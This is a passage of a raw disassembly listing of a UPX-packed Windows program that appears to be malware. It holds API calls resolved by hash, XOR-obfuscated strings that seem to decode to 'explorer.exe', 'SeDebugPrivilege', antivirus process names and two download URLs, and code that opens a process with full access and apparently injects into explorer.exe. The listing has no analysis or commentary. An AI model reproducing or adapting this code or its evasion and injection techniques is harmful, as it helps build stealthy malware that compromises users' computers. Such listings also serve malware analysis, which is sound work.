		mov	[ebp+var_260], edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_310]
		push	ecx
		push	[ebp+arg_8]
		call	eax
		push	28h
		xor	ecx, ecx
		mov	[ebp+var_1], 1
		pop	eax
		inc	ecx

loc_4026ED:				; CODE XREF: sub_4023D3+32Dj
		cmp	ecx, 0C7h
		ja	short loc_4026F7
		inc	eax
		inc	ecx

loc_4026F7:				; CODE XREF: sub_4023D3+320j
		add	eax, 2Ch
		add	ecx, 2Ch
		cmp	eax, 6Ah
		jl	short loc_4026ED
		mov	dword_404104, eax

loc_402707:				; CODE XREF: sub_4023D3+2C2j
					; sub_4023D3+2CAj
		push	77CD9567h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax

loc_40271A:				; CODE XREF: sub_4023D3+B7j
		push	723EB0D5h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	[ebp+var_C]
		call	eax
		cmp	dword_404104, 0Dh
		jl	short loc_40273C
		inc	dword_404104

loc_40273C:				; CODE XREF: sub_4023D3+361j
		cmp	dword_404104, 0F3h
		jle	short loc_402752
		mov	dword_404104, 21h

loc_402752:				; CODE XREF: sub_4023D3+373j
		mov	al, [ebp+var_1]

loc_402755:				; CODE XREF: sub_4023D3+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4023D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40275A	proc near		; DATA XREF: sub_402908+13Co
					; sub_402908+31Fo

var_14C		= byte ptr -14Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	3D9972F5h
		inc	ebx
		push	ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	7D0h
		call	eax
		cmp	dword_404104, 0Ch
		jl	short loc_40278B
		inc	dword_404104

loc_40278B:				; CODE XREF: sub_40275A+29j
		cmp	dword_404104, 0F1h
		jle	short loc_4027A1
		mov	dword_404104, 22h

loc_4027A1:				; CODE XREF: sub_40275A+3Bj
		push	esi
		push	6FB89AF0h
		xor	edi, edi
		push	ebx
		mov	[ebp+var_4], edi
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	edi
		push	edi
		push	offset sub_40237B
		push	edi
		push	edi
		call	eax
		push	723EB0D5h
		push	ebx
		mov	esi, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		push	49A1374Ah
		push	ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	104h
		lea	ecx, [ebp+var_14C]
		push	ecx
		call	eax
		push	0Ch
		mov	esi, offset dword_404108
		push	esi
		push	offset a_puKlpwFF ; "_pu`klpw-f{f"
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_40300C	; lstrcat
		push	4Bh
		pop	esi
		push	29h
		pop	eax

loc_402819:				; CODE XREF: sub_40275A+D1j
		cmp	eax, 0B4h
		ja	short loc_402822
		inc	esi
		inc	eax

loc_402822:				; CODE XREF: sub_40275A+C4j
		add	esi, 31h
		add	eax, 31h
		cmp	esi, 7Fh
		jl	short loc_402819
		push	40h
		lea	eax, [ebp+var_44]
		push	edi
		push	eax
		mov	dword_404104, esi
		mov	[ebp+var_48], 44h
		call	sub_401080
		add	esp, 0Ch
		cmp	esi, 9
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], 5
		jl	short loc_40285E
		inc	esi
		mov	dword_404104, esi

loc_40285E:				; CODE XREF: sub_40275A+FBj
		cmp	esi, 0E2h
		jle	short loc_402870
		mov	dword_404104, 20h

loc_402870:				; CODE XREF: sub_40275A+10Aj
		push	46318AC7h
		push	ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	offset dword_40420C
		lea	ecx, [ebp+var_48]
		push	ecx
		push	edi
		push	edi
		push	4
		push	edi
		push	edi
		push	edi
		lea	ecx, [ebp+var_14C]
		push	ecx
		push	edi
		call	eax
		push	dword_404210
		push	dword_40420C
		push	offset sub_401B6E
		call	sub_4023D3
		add	esp, 0Ch
		test	al, al
		jz	short loc_4028CA
		mov	esi, dword_404210
		push	7B88BF3Bh
		push	ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		call	eax

loc_4028CA:				; CODE XREF: sub_40275A+158j
		cmp	dword_404104, 7
		pop	esi
		jl	short loc_4028DA
		inc	dword_404104

loc_4028DA:				; CODE XREF: sub_40275A+178j
		cmp	dword_404104, 0ACh
		jle	short loc_4028F0
		mov	dword_404104, 21h

loc_4028F0:				; CODE XREF: sub_40275A+18Aj
		push	768AA260h
		push	ebx
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40275A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402908	proc near		; CODE XREF: start+1BCj

var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_38		= byte ptr -38h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		lea	ebx, [ebp+var_13C]
		call	sub_4012A6
		test	al, al
		jz	loc_402C55
		cmp	dword_404104, 4
		jl	short loc_402936
		inc	dword_404104

loc_402936:				; CODE XREF: sub_402908+26j
		cmp	dword_404104, 0ABh
		jle	short loc_40294C
		mov	dword_404104, 20h

loc_40294C:				; CODE XREF: sub_402908+38j
		mov	edi, 774393E8h
		push	edi
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		mov	esi, 104h
		push	esi
		lea	ecx, [ebp+var_13C]
		push	ecx
		push	0
		call	eax
		xor	ecx, ecx
		test	eax, eax
		jz	short loc_402986

loc_402972:				; CODE XREF: sub_402908+7Cj
		lea	edx, [ebp+ecx+var_13B]
		cmp	byte ptr [edx-1], 5Ch
		jnz	short loc_402981
		mov	ebx, edx

loc_402981:				; CODE XREF: sub_402908+75j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_402972

loc_402986:				; CODE XREF: sub_402908+68j
		mov	ecx, [ebx]
		mov	eax, 20202020h
		or	ecx, eax
		cmp	ecx, 6C707865h
		jnz	loc_402A7B
		mov	ecx, [ebx+4]
		or	ecx, eax
		cmp	ecx, 7265726Fh
		jnz	loc_402A7B
		mov	ecx, [ebx+8]
		or	ecx, eax
		cmp	ecx, 6578652Eh
		jnz	loc_402A7B
		mov	eax, [ebp+arg_4]
		dec	eax
		jnz	loc_402A74
		push	8
		pop	ecx
		push	0Ch
		mov	esi, offset dword_404108
		xor	eax, eax
		push	esi
		lea	edi, [ebp+var_38]
		push	offset aFSolqfqFF ; "f{solqfq-f{f"
		rep stosd
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_403000	; lstrcpy
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_401436
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_402A74
		push	3Ah
		pop	eax
		push	28h
		pop	ecx

loc_402A07:				; CODE XREF: sub_402908+114j
		cmp	ecx, 0C5h
		ja	short loc_402A11
		inc	eax
		inc	ecx

loc_402A11:				; CODE XREF: sub_402908+105j
		add	eax, 18h
		add	ecx, 18h
		cmp	eax, 97h
		jl	short loc_402A07
		push	99A4299Dh
		push	1
		mov	dword_404104, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		push	0
		push	1F0FFFh
		call	eax
		mov	esi, eax
		test	esi, esi
		jz	short loc_402A74
		push	0
		push	esi
		push	offset sub_40275A
		call	sub_4023D3
		add	esp, 0Ch
		cmp	dword_404104, 0A8h
		jge	short loc_402A63
		inc	dword_404104

loc_402A63:				; CODE XREF: sub_402908+153j
		push	723EB0D5h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		call	eax

loc_402A74:				; CODE XREF: sub_402908+B9j
					; sub_402908+F7j ...
		xor	eax, eax
		jmp	loc_402C8E
; ---------------------------------------------------------------------------

loc_402A7B:				; CODE XREF: sub_402908+8Dj
					; sub_402908+9Ej ...
		push	edi
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	eax
		push	0D89AD05h
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		call	eax
		cmp	dword_404104, 0Ch
		mov	esi, eax
		jl	short loc_402AB0
		inc	dword_404104

loc_402AB0:				; CODE XREF: sub_402908+1A0j
		cmp	dword_404104, 0E1h
		jle	short loc_402AC6
		mov	dword_404104, 24h

loc_402AC6:				; CODE XREF: sub_402908+1B2j
		push	80DBBE07h
		push	6
		call	sub_4010DC
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	20h
		push	esi
		call	eax
		test	eax, eax
		mov	esi, offset dword_404108
		mov	ebx, 723EB0D5h
		jz	loc_402B9D
		push	10h
		push	esi
		push	offset aPfgfavdsqjujof ; "PfGfavdSqjujofdf"
		call	sub_401000
		push	1B3D12B9h
		push	6
		call	sub_4010DC
		add	esp, 14h
		lea	ecx, [ebp+var_8]
		push	ecx
		push	esi
		push	0
		call	eax
		test	eax, eax
		jz	loc_402B9D
		mov	eax, dword_404104
		add	eax, 0FFFFFFEEh
		cmp	eax, 0B5h
		ja	short loc_402B31
		inc	dword_404104

loc_402B31:				; CODE XREF: sub_402908+221j
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		push	7A2167DCh
		push	6
		mov	[ebp+var_18], 1
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 2
		call	sub_4010DC
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		push	ecx
		push	edi
		call	eax
		mov	edi, [ebp+arg_4]
		push	ebx
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	edi
		call	eax
		push	61h
		pop	eax
		push	50h
		pop	ecx

loc_402B7F:				; CODE XREF: sub_402908+28Cj
		cmp	ecx, 0CDh
		ja	short loc_402B89
		inc	eax
		inc	ecx

loc_402B89:				; CODE XREF: sub_402908+27Dj
		add	eax, 2Bh
		add	ecx, 2Bh
		cmp	eax, 0ACh
		jl	short loc_402B7F
		mov	dword_404104, eax
		jmp	short loc_402BA2
; ---------------------------------------------------------------------------

loc_402B9D:				; CODE XREF: sub_402908+1E1j
					; sub_402908+20Ej
		mov	eax, dword_404104

loc_402BA2:				; CODE XREF: sub_402908+293j
		cmp	eax, 8Fh
		jge	short loc_402BAF
		inc	eax
		mov	dword_404104, eax

loc_402BAF:				; CODE XREF: sub_402908+29Fj
		push	8
		pop	ecx
		push	0Ch
		xor	eax, eax
		push	esi
		lea	edi, [ebp+var_38]
		push	offset aFSolqfqFF ; "f{solqfq-f{f"
		rep stosd
		call	sub_401000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_403000	; lstrcpy
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_401436
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_402C5A
		push	3Ah
		pop	eax
		push	28h
		pop	ecx

loc_402BEA:				; CODE XREF: sub_402908+2F7j
		cmp	ecx, 0C5h
		ja	short loc_402BF4
		inc	eax
		inc	ecx

loc_402BF4:				; CODE XREF: sub_402908+2E8j
		add	eax, 18h
		add	ecx, 18h
		cmp	eax, 97h
		jl	short loc_402BEA
		push	99A4299Dh
		push	1
		mov	dword_404104, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		push	0
		push	1F0FFFh
		call	eax
		mov	esi, eax
		test	esi, esi
		jz	short loc_402C5A
		push	0
		push	esi
		push	offset sub_40275A
		call	sub_4023D3
		add	esp, 0Ch
		cmp	dword_404104, 0A8h
		jge	short loc_402C46
		inc	dword_404104

loc_402C46:				; CODE XREF: sub_402908+336j
		push	ebx
		push	1
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		jmp	short loc_402C5A
; ---------------------------------------------------------------------------

loc_402C55:				; CODE XREF: sub_402908+19j
		call	sub_401B6E

loc_402C5A:				; CODE XREF: sub_402908+2DAj
					; sub_402908+31Aj ...
		push	2
		pop	eax
		push	0FFFFFFE2h
		pop	ecx

loc_402C60:				; CODE XREF: sub_402908+36Dj
		cmp	ecx, 0CCh
		ja	short loc_402C6A
		inc	eax
		inc	ecx

loc_402C6A:				; CODE XREF: sub_402908+35Ej
		add	eax, 14h
		add	ecx, 14h
		cmp	eax, 0B8h
		jl	short loc_402C60
		push	95902B19h
		push	1
		mov	dword_404104, eax
		call	sub_4010DC
		pop	ecx
		pop	ecx
		push	0
		call	eax

loc_402C8E:				; CODE XREF: sub_402908+16Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_402908	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402CA0	proc near		; CODE XREF: sub_401436+8p
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h

loc_402CB4:				; CODE XREF: sub_402CA0+29j
		cmp	ecx, eax
		jb	short loc_402CC2
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------

loc_402CC2:				; CODE XREF: sub_402CA0+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_402CB4
sub_402CA0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0CDh	dup(0)
dword_403000	dd 77E73167h		; DATA XREF: sub_401436+266r
					; sub_401B6E+12Ar ...
dword_403004	dd 77E76A2Eh		; DATA XREF: sub_401436+1BDr
					; sub_401436+22Br ...
dword_403008	dd 77E74672h		; DATA XREF: sub_401436+14Ar
					; sub_401436+196r
dword_40300C	dd 77E74155h		; DATA XREF: sub_401436+284r
					; sub_401721+90r ...
		dd 0
dword_403014	dd 77D4C96Ah		; DATA XREF: sub_401B6E+F4r
					; sub_401B6E+658r ...
		dd 0
dword_40301C	dd 6F666B70h, 2D31306Fh, 6F6F67h ; DATA	XREF: sub_4010DC+A9o
dword_403028	dd 6E6F7176h, 672D6D6Ch, 6F6Fh ; DATA XREF: sub_4010DC+9Ao
dword_403034	dd 6A6D6A74h, 2D77666Dh, 6F6F67h ; DATA	XREF: sub_4010DC+8Bo
					; sub_401B6E+14o
dword_403040	dd 73627073h, 6F672D6Ah, 6Fh ; DATA XREF: sub_4010DC+7Co
dword_40304C	dd 62756762h, 31306A73h, 6F6F672Dh, 0 ;	DATA XREF: sub_4010DC+6Do
dword_40305C	dd 70716675h, 2D6D6C6Ah, 6F6F67h ; DATA	XREF: sub_4010DC+47o
dword_403068	dd 7Dh			; DATA XREF: sub_401436+26Fo
dword_40306C	dd 6B607570h, 2D77706Ch, 667B66h ; DATA	XREF: sub_401436+1EFo
aUfq24		db 'ufq24',0            ; DATA XREF: sub_401721+7Bo
		align 10h
aJg		db '%jg>',0             ; DATA XREF: sub_401B6E+7A7o
		align 4
aLgf1		db '%`lgf1>',0          ; DATA XREF: sub_401B6E+6E8o
aV		db '&v',0               ; DATA XREF: sub_401B6E+643o
		align 4
aNobjtSksBguBgu	db 'nobjt{-sks<bgu>bgu75;%`lgf2>',0 ; DATA XREF: sub_401B6E+600o
		align 4
aGrurkqn	db 'grurkqn',0          ; DATA XREF: sub_401B6E+559o
aLljOzaSks	db 'llj{oza-sks',0      ; DATA XREF: sub_401B6E+4EAo
aWeGgmaazSks	db 'we{ggmaaz-sks',0    ; DATA XREF: sub_401B6E+47Eo
		align 4
aPwhHSks	db 'pwh`h-sks',0        ; DATA XREF: sub_401B6E+412o
		align 4
aRrqngodlSks	db 'rrqngodl-sks',0     ; DATA XREF: sub_401B6E+3A6o
		align 4
aBdytedrbwuSks	db 'bdytedrbwu-sks',0   ; DATA XREF: sub_401B6E+33Ao
		align 4
aUptfnbHkk	db 'uptfnb{hkk',0       ; DATA XREF: sub_401B6E+2E0o
		align 10h
a9		db '`9',0               ; DATA XREF: sub_401B6E+29Eo
					; sub_401B6E+369o ...
		align 4
aQeAvjfpSksBguB	db 'qe{avjfp-sks<bgu>bgu75;',0 ; DATA XREF: sub_401B6E+26Co
a9_		db '`9_',0              ; DATA XREF: sub_401B6E+235o
					; sub_401B6E+5A4o
aKwws9RataoIhad	db 'kwws9,,ratao`ihad-`ln,sqldp,hdntaoj,',0
					; DATA XREF: sub_401B6E:loc_401D89o
		align 4
aKwws9AQumzfpLn	db 'kwws9,,{a{{qumzfp-`ln,sqldp,hdntaoj,',0 ; DATA XREF: sub_401B6E+214o
		align 10h
a_wfiperoFF	db '_wfipero-f{f',0     ; DATA XREF: sub_401B6E+1C2o
		align 10h
a_AtqFF		db '_`atq-f{f',0        ; DATA XREF: sub_401B6E+1A8o
		align 4
a_vogqdpqFF	db '_vogqdpq{-f{f',0    ; DATA XREF: sub_401B6E+18Eo
		align 4
a_irlsjnFF	db '_irlsjn-f{f',0      ; DATA XREF: sub_401B6E+174o
a_eobfFF	db '_eobf-f{f',0        ; DATA XREF: sub_401B6E+15Ao
		align 4
a_NaksruFF	db '_{naksru-f{f',0     ; DATA XREF: sub_401B6E+140o
		align 4
a_bhebVsuFF	db '_bheb{vsu-f{f',0    ; DATA XREF: sub_401B6E+11Bo
		align 4
aG		db '&g',0               ; DATA XREF: sub_401B6E+E2o
		align 4
a@9_		db '@9_',0              ; DATA XREF: sub_401B6E+B9o
aHfqmfo01Goo	db 'hfqmfo01-goo',0     ; DATA XREF: sub_401B6E+4Fo
		align 4
aVpfq01Goo	db 'vpfq01-goo',0       ; DATA XREF: sub_401B6E+34o
		align 4
aPfgfavdsqjujof	db 'PfGfavdSqjujofdf',0 ; DATA XREF: sub_402908+1EAo
		align 4
aMwgooGoo	db 'mwgoo-goo',0        ; DATA XREF: sub_4023D3+105o
		align 4
aMwnbsujftlepfW	db 'MwNbsUjftLePf`wjlm',0 ; DATA XREF: sub_4023D3+EAo
		align 4
a_puKlpwFF	db '_pu`klpw-f{f',0     ; DATA XREF: sub_40275A+9Eo
		align 4
aFSolqfqFF	db 'f{solqfq-f{f',0     ; DATA XREF: sub_402908+CFo
					; sub_402908+2B2o
		align 4
		dd 369h	dup(0)
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40237B+Fo
					; sub_402908+17Eo
		align 4
		dd 3Ah dup(0)
dword_404104	dd 0C1h			; DATA XREF: sub_4010DC+3r
					; sub_4010DC+15w ...
dword_404108	dd 6C64746Eh, 6C642E6Ch, 6Ch, 3Dh dup(0) ; DATA	XREF: sub_4010DC+41o
					; sub_4010DC+67o ...
byte_404208	db 1			; DATA XREF: sub_4012A6+24r
					; sub_4012A6+62w
byte_404209	db 1			; DATA XREF: sub_4012A6:loc_4012C1r
					; sub_4012A6+32w
		align 4
dword_40420C	dd 0			; DATA XREF: sub_40275A+123o
					; sub_40275A+143r
dword_404210	dd 0			; DATA XREF: sub_40275A+13Dr
					; sub_40275A+15Ar
		align 2000h
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 406000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_406000	dd 58h,	2000h, 74736C01h, 79706372h, 6C010041h,	63727473h
					; DATA XREF: start+1o
		dd 4169706Dh, 736C0100h, 656C7274h, 100416Eh, 7274736Ch
		dd 41746163h, 650000h, 20140000h, 77010000h, 69727073h
		dd 4166746Eh, 0
		dd 13E40000h, 620062Bh,	2 dup(6090609h), 28180F0Dh, 2763111Bh
		dd 8060C19h, 0C192F0Fh,	92A510Ch, 9440C06h, 0B771027h
		dd 2509611Dh, 110C0A4Ch, 3D080C1Dh, 16082813h, 170D1936h
		dd 400C0616h, 3D241606h, 770C060Ch, 135E103Ah, 0C561070h
		dd 9591029h, 6740B1Dh, 123E1B20h, 13290812h, 150B0526h
		dd 1A1A1A1Ah, 70E441Ah,	4232371Ah, 323D2F5Ah, 323A323Ah
		dd 4B3A353Ah, 0C060935h, 8102B0Ch, 38154216h, 1B19102Bh
		dd 3D2E1909h, 14702C0Ch, 94E0C29h, 60B0C06h, 285C0813h
		dd 571B1514h, 103F1141h, 6092C6Ah, 609340Ch, 638220Ch
		dd 0E242716h, 5061B16h,	60A1612h, 609410Ch, 150B890Ch
		dd 0C0E1F39h, 60B1A28h,	2A13220Ch, 0D076A10h, 1F391510h
		dd 3D0C0Eh, 4550h, 4014Ch, 462E49D3h, 2	dup(0)
		dd 10200E0h, 8010Bh, 1E00h, 0C00h, 0
		dd 2908h, 1000h, 3000h,	400000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 6000h, 400h,	0
		dd 4000002h, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 325Ch, 3Ch, 6 dup(0)
		dd 5000h, 1D4h,	0Ch dup(0)
		dd 3000h, 1Ch, 6 dup(0)
		dd 7865742Eh, 74h, 1CCBh, 1000h, 1E00h,	400h, 3	dup(0)
		dd 60000020h, 6164722Eh, 6174h,	30Ah, 3000h, 400h, 2200h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 21Ch, 4000h, 5 dup(0)
		dd 0C0000040h, 6C65722Eh, 636Fh, 220h, 5000h, 400h, 2600h
		dd 3 dup(0)
		dd 42000040h, 5000h, 32B4h, 504Ah, 512C00h, 59086A00h
		dd 2978F0Ah, 27944140h,	0D6FFF7B0h, 7DF80266h, 8568EB7Ch
		dd 57FDC943h, 0C3A550A3h, 20C2EEFEh, 75395351h,	0A84268FCh
		dd 2C509E6Fh, 56BBB1D8h, 835FEB13h, 837C0A86h, 0FBE66095h
		dd 0AC4B3E1h, 260B05C7h, 5CCDAC84h, 4885D969h, 61BE168Bh
		dd 0FF6A1DDFh, 0B0D5684Bh, 5B28723Eh, 0CEC36403h, 5E08CE16h
		dd 3A23E26Fh, 5F7C23C2h, 0B80D5B5Eh, 1C541318h,	0EF097F9Ch
		dd 3DB46341h, 6819DA86h, 774393E8h, 49BABE17h, 63BB3A2Dh
		dd 0FCE87E53h, 335DFB27h, 909B7C91h, 56A8AC4h, 1151F4F1h
		dd 64B6BA1h, 0EC210B10h, 75D0B3A0h, 6853D4A1h, 38609702h
		dd 32F76332h, 1C1CC749h, 7C0EBA3Dh, 1EE8ACE9h, 45F7FBA1h
		dd 3FFF53F4h, 323A860Fh, 0B63B66BFh, 8B0864E9h,	0F6854CB4h
		dd 443B0A49h, 4E6C0B6Eh, 0A8A340D5h, 0A5EEA59Bh, 0F6335627h
		dd 41083h, 3765395h, 0F8F1D811h, 98E8858Dh, 0C0E5056h
		dd 0EDBBEC06h, 0B140F875h, 16C9680Ch, 0ECB2189Fh, 0DB6D6B3Bh
		dd 0F00504C8h, 8CAF20ACh, 72185F19h, 0C3353F82h, 219168F0h
		dd 0D921E6B1h, 336E4FBh, 0CD3556FEh, 8BD359F7h,	7108FB35h
		dd 44D6FF50h, 66968047h, 0E9BDDDECh, 850F3A10h,	5CEA0C3Ah
		dd 4FFBF82Dh, 0F08B2A66h, 804E01EBh, 5C0E35BCh,	0C672F575h
		dd 0FFE76DEDh, 7E424B15h, 1B87A93Ah, 1E02EEFBh,	5435848Dh
		dd 69042650h, 0B4F0B9D7h, 4576DD85h, 3A858426h,	6CE4056Ch
		dd 0C4391807h, 0FC8657A4h, 6C010FE6h, 7F9D1E8h,	6A8A94F7h
		dd 821DB907h, 51E8FCDDh, 8BA100CEh, 99B27B00h, 6DA8FC19h
		dd 80577374h, 23DD9177h, 0FF7C6074h, 240351B4h,	0F90C2D59h
		dd 0FD3A3366h, 6B0301FFh, 687F8F30h, 578D51E8h,	0F849731Dh
		dd 0E9EDBA06h, 8BC820E4h, 6316481Ah, 1DBC9299h,	46B3AE07h
		dd 0F480A170h, 6C7663ADh, 243946F7h, 33D2820Fh,	3D1805EBh
		dd 9AFCF9AFh, 0EA242331h, 0B7087C7Ah, 0BB7613ADh, 0DDADB33h
		dd 0EC02FCDAh, 0A42E40C7h, 0D0E045F6h, 0D1860F07h, 6456DC37h
		dd 6042E18h, 10F78452h,	532C9FFEh, 34D48168h, 89036A05h
		dd 3147E875h, 22B7A71Ah, 93C02AF6h, 0F663E43Ch,	0F85AE878h
		dd 496AF784h, 3BA5B75Bh, 0E484E914h, 147CA459h,	0CBCF1ACFh
		dd 8A3D1A1Ah, 68BE94ECh, 25CCC3D7h, 8593DE9h, 176200BAh
		dd 0FC6D808Fh, 0B87DBD66h, 1CF4EA57h, 0CE998540h, 1BF475DAh
		dd 0DA070EE4h, 0C80CDF61h, 78681BA9h, 5D1AD09Ch, 0D2CB62C0h
		dd 2E00C57h, 0E4741840h, 5061908h, 32F22A6Ah, 0E2E2B349h
		dd 3D1212A8h, 261BBA5h,	0E027683Fh, 751D2F5Ch, 0B3FC7D89h
		dd 0C0E9EEAh, 92688324h, 0F6B70B20h, 0EC454C4Fh, 0FBFF888Dh
		dd 8FDE4AE2h, 792D0F76h, 1B87DCB0h, 3DA99E2Ah, 927BB683h
		dd 0F114FF2Fh, 685308F8h, 53571B80h, 6CB2C2C0h,	404B7285h
		dd 2700560Ch, 0F0C34E18h, 0B8F0FBB5h, 1096C362h, 0C02129DAh
		dd 555682B7h, 4EC41E9Fh, 5B2E81FBh, 67F8C095h, 0AAC16C2Fh
		dd 6C77759Ch, 3A64EB70h, 5D6574C3h, 0EFEFB5B6h,	3FD1C368h
		dd 0DC5D790Fh, 0CC36D8C7h, 0DC3CD64Dh, 797CF046h, 0F611B176h
		dd 73798716h, 0B760F206h, 97772039h, 0B63DC1F0h, 92176DF3h
		dd 13EB6409h, 0FE3DFE24h, 0EB360B03h, 5D88097Eh, 0A104EB10h
		dd 64266B28h, 0AEB3901h, 64AA27D4h, 68F4A903h, 0E314FB0Ch
		dd 0F25116Ah, 8BE82182h, 0C8A03DCFh, 1D0A50B3h,	0C580018Ch
		dd 68FC3C86h, 0AEF7CBF1h, 96C1F034h, 0D4984B66h, 0E4D9D74Bh
		dd 33B0C75Bh, 179A1CC3h, 0B574233Bh, 0F897ED5h,	7D05E4A8h
		dd 0A8EB3809h, 0E9587CE0h, 5A25A2CCh, 488D27E6h, 468DDDFEh
		dd 4103968h, 284FEB03h,	0C7FF0A74h, 4F0547C7h, 3B774E3Dh
		dd 458D406Ah, 4FD19488h, 84F99770h, 0C79B9A44h,	5646318Ah
		dd 1296366Ah, 0C584C893h, 4CD46F00h, 4ACEBB2Eh,	0C8830308h
		dd 0AC3B84C8h, 60B84CFFh, 0FCB3D11Eh, 0E8345EC0h, 57BFF474h
		dd 84A35FE6h, 211F305Fh, 9554E8FCh, 1A64323Ch, 39E8EC0Ch
		dd 0D2CD24CBh, 98F34F3Dh, 0D6A41616h, 381121FAh, 30CB7A81h
		dd 61B42752h, 0D3361111h, 161819CBh, 54C07432h,	23707701h
		dd 0F5690336h, 9701F3CFh, 0D99FECDEh, 6D67B2DEh, 77D8F0E6h
		dd 0CCD85D02h, 0E8E42863h, 2DD8FCA6h, 968556B8h, 14B06768h
		dd 10F382Ah, 9A499659h,	2424C5F9h, 3427767Ch, 380D6A76h
		dd 3D6803D4h, 2E7B3D8Bh, 0F7FB075Dh, 0D7FE4856h, 0B99C83F0h
		dd 48E8C407h, 958191Fh,	23C9320Ch, 682EE8B8h, 24D8320Bh
		dd 14E8AC8Fh, 9E0D4D78h, 9C3E4390h, 88F2FAE8h, 0C9E0E890h
		dd 19C9B09Eh, 0E8808198h, 0B78C19C6h, 66A893F8h, 19DC7D81h
		dd 612847Dh, 7B3D4D17h,	50C55E2h, 3DA2020Ch, 2D0BC007h
		dd 40953BAh, 8BE06FC7h,	637DF01Dh, 0E08BC1E3h, 755624E5h
		dd 26585107h, 7E6BF927h, 6DE83072h, 0B910FC48h,	2C7B13ECh
		dd 0FD1953E8h, 0D61D82DCh, 0D30C505Ch, 0FEB8362Fh, 9C8F24B3h
		dd 1CE81417h, 5ECB7619h, 347AD3A1h, 1D07962Bh, 0E083EC59h
		dd 0E810BB21h, 2531F1EAh, 0D8285C26h, 751CDB56h, 1F246E5Ah
		dd 0A73C819h, 0F1A8E804h, 720583A5h, 0FCE98001h, 10DCC8B9h
		dd 0E591D86h, 4EE8F420h, 804B0C1Fh, 241CDFCAh, 0F18792DBh
		dd 886B1836h, 5C8F9003h, 0E2E8E40Ch, 24ECA6F0h,	396301B4h
		dd 986BF0B0h, 48B91E42h, 76E8D809h, 0A64AE48Bh,	2A726844h
		dd 0C80D91E4h, 0EFD80AE8h, 5319173Fh, 200B0978h, 0B03BE8BCh
		dd 0EF9EC810h, 5C34696Eh, 6E259324h, 136B07A8h,	0E8B48F20h
